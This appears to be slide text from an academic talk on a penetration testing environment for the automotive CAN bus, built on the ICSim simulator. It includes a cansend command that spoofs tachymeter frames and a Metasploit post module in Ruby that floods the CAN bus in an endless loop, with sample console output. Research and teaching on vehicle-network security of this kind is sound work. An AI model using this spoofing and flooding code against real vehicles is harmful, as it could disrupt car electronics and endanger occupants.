Towards an Integrated Penetration Testing Environment for the CAN Protocol

Giampaolo Bella and Pietro Biondi
Automotive communication domains

- Vehicle to Infrastructure
- User to Vehicle
- Vehicle to Vehicle
- Intra-Vehicle

FOCUS!
The **Controller area network (CAN-bus)** is provided:

- Serial communication protocol
- Message anti-collision protection
- Error detection

**PROBLEM**

Confidentiality  
Authentication
It works on Linux, requires the configuration of a virtual CAN interface through the following commands:

- `sudo apt install can-utils`
- `sudo modprobe can`
- `sudo modprobe vcan`
- `sudo ip link add dev vcan0 type vcan`
- `sudo ip link set up vcan0`

**MAX: speed up to 100 MPH**
The aim: understand which frame IDs are associated to which device of the car.

| ID[hex] | DLC | DATA[hex]     | Device      | Values       |
|---------|-----|---------------|-------------|--------------|
| 19b     | 3   | 00 00 00      | doors       | 1 / 2 / 4 / 8|
| 188     | 3   | 00 00 00      | blinkers    | 1 / 2        |
| 244     | 5   | 00 00 00 00 00| tachymeter  | 00 00 . . 01 5D |

Send the hex value (e.g. 99 99) to the tachymeter. Then we can observe the maximum speed reached.

“cansend vcan0 244#0000009999”
STEP 1: preparation of a machine to simulate the victim system

**Diagram Description:**
- **Bodhi Linux** → Install ICSim → Vulnerable server
STEP 2: automation of the pentesting experiments using an exploit for Metasploit Framework

```ruby
def run
  print_status(' -- OPENING CONTROL UNIT MAP --')
  lines = []
  f = File.open(datastore['FILEMAP'], "rb")
  f.each line do |line|
    lines.push(line.strip)
  end
  f.close
  print_status(' -- Flooding -- ')
  while 1
    lines.each {
      |e|
      cmd = "cansend #{datastore['INTERFACE']} #{e}"
      cmd_exec(cmd)
    }
  end
end
```

Post exploitation:
1. Open FILEMAP:
   a. read and save all CAN frames in array
2. Infinite while loop.
   Flooding CAN-bus
**STEP 3:** include the exploit to Metasploit Framework

---

**PATH:** `modules/post/hardware/automotive/`

```bash
msf > use post/hardware/automotive/crazytachymeter
msf post(hardware/automotive/crazytachymeter) > show options

Module options (post/hardware/automotive/crazytachymeter):

| Name           | Current Setting | Required | Description                                         |
|----------------|-----------------|----------|-----------------------------------------------------|
| FILEMAP        | `/usr/share/metasploit-framework/data/wordlists/controlUnitMapCanBus.txt` | yes      | Path to FILEMAP                                     |
| INTERFACE      | `vcan0`         | yes      | Interface of CAN-Bus                                |
| SESSION        |                 | yes      | The session to run this module on.                  |
```

msf post(hardware/automotive/crazytachymeter) > set session 1
session => 1

---

**Options for Metasploit:**

- FILEMAP
- INTERFACE
- SESSION
STEP 4: exploitation through Metasploit

```
msf post(hardware/automotive/crazytachymeter) > exploit

[!] SESSION may not be compatible with this module.
[*] -- OPENING CONTROL UNIT MAP --
[*] -- Flooding --
```

![Tachometer Image]
Towards the Integrated Pentesting Environment

https://github.com/pietrobiondi/Crazy-Tachymeter

Download and Improve the Pentesting Environment

The exploit is currently subject to a Metasploit pull request
Virtual Machine with CAN simulator installed.

- CAN simulator installed (ICSim).
- Vulnerable server for remote command execution.

user = pass = tachymeter
Future Work

- Upgrade of ICSim: make it more compliant with the real world
- Improvement of Integrated Pentesting Environment
- Write new exploits for CAN-bus
- Accumulate all exploits in the Metasploit Framework
- Define cryptographic tools to obtain confidentiality and authentication
Thank you for your attention

Pietro Biondi
pietro.biondi94@gmail.com
www.pietrobiondi.it

Giampaolo Bella
giamp@dmi.unict.it
www.dmi.unict.it/~giamp/
